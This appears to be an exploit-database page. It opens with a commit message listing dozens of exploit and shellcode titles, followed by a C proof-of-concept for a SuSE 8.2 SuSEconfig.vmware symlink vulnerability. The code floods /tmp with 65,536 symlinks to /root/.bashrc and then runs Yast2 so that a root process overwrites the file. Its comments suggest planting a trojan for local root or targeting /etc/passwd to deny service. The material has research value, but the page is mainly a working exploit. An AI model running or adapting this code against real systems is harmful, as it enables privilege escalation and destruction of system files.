880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
81 lines
No EOL
2.2 KiB
C
81 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/8778/info
|
|
|
|
A problem exists in the SuSEWM configuration file used by SuSEConfig. Because of this, it may be possible for a local attacker to gain elevated privileges.
|
|
|
|
/*
|
|
* Proof of Concept for SuSEconfig.vmware Symbolic Link.
|
|
* Tested on SuSE 8.2.
|
|
* Nash Leon - nashleon@yahoo.com.br
|
|
*
|
|
* Reference:
|
|
* http://www.security.nnov.ru/search/document.asp?docid=5216
|
|
*
|
|
* We Need Yast2 for elevation privilege(or wait root run then).
|
|
*
|
|
* This sample create file /root/.bashrc in Suse 8.2.
|
|
* If you use this with kdeglobals vulnerability, you can install trojan
|
|
* horse in bashrc(local root is possible). Denial of Service too,
|
|
* if you define target file /etc/passwd or other.
|
|
*
|
|
*
|
|
* Thanks for Mercenaries's Club
|
|
* http://cdm.frontthescene.com.br
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
|
|
#define ERROR -1
|
|
#define TARGET "/root/.bashrc" /* Change this for other attack */
|
|
|
|
int main(int argc, char *argv[]){
|
|
int i, first, last;
|
|
char buffer[60];
|
|
|
|
|
|
fprintf(stdout,"Proof of Concept for Symbolic Link in SuSEconfig.vmware - Suse 8.2\n");
|
|
fprintf(stdout,"Mercenaries's Club - http://cdm.frontthescene.com.br\n");
|
|
|
|
|
|
/* We don't need to get Current PID. Suse 8.2 is very poor em security
|
|
* against symbolic link attacks.
|
|
* There is not protect for creation of symbolic links in
|
|
* /tmp. We can create 65535 files with symbolic link
|
|
* if We wanted(this is 100% accurate).
|
|
*/
|
|
|
|
//first = getpid();
|
|
|
|
|
|
first = 0;
|
|
|
|
/* We don't need to get possible PID for Yast2 sw_single run
|
|
* SuSE.vmware because SuSE 8.2 don't limit creation of
|
|
* symbolic links.
|
|
*/
|
|
|
|
last = 65535;
|
|
|
|
for(i = first; i < last + 1; i++){
|
|
bzero(buffer,50);
|
|
snprintf(buffer,59,"ln -s %s /tmp/susewm.%d",TARGET,i); // Are you hacker?:)
|
|
system(buffer);
|
|
}
|
|
|
|
|
|
|
|
/* Run Yast2, note this need X-Window and permission.
|
|
* This code is not for script kiddies.
|
|
* Other attacks are possible.
|
|
*
|
|
* In Yast2, you will try uninstall some program.
|
|
* When Yast2 run update tool, it will run SuSEconfig.vmware
|
|
* as root and the specified file will be overwrite.
|
|
*/
|
|
|
|
system("/sbin/yast2 'sw_single'");
|
|
|
|
return 0;
|
|
} |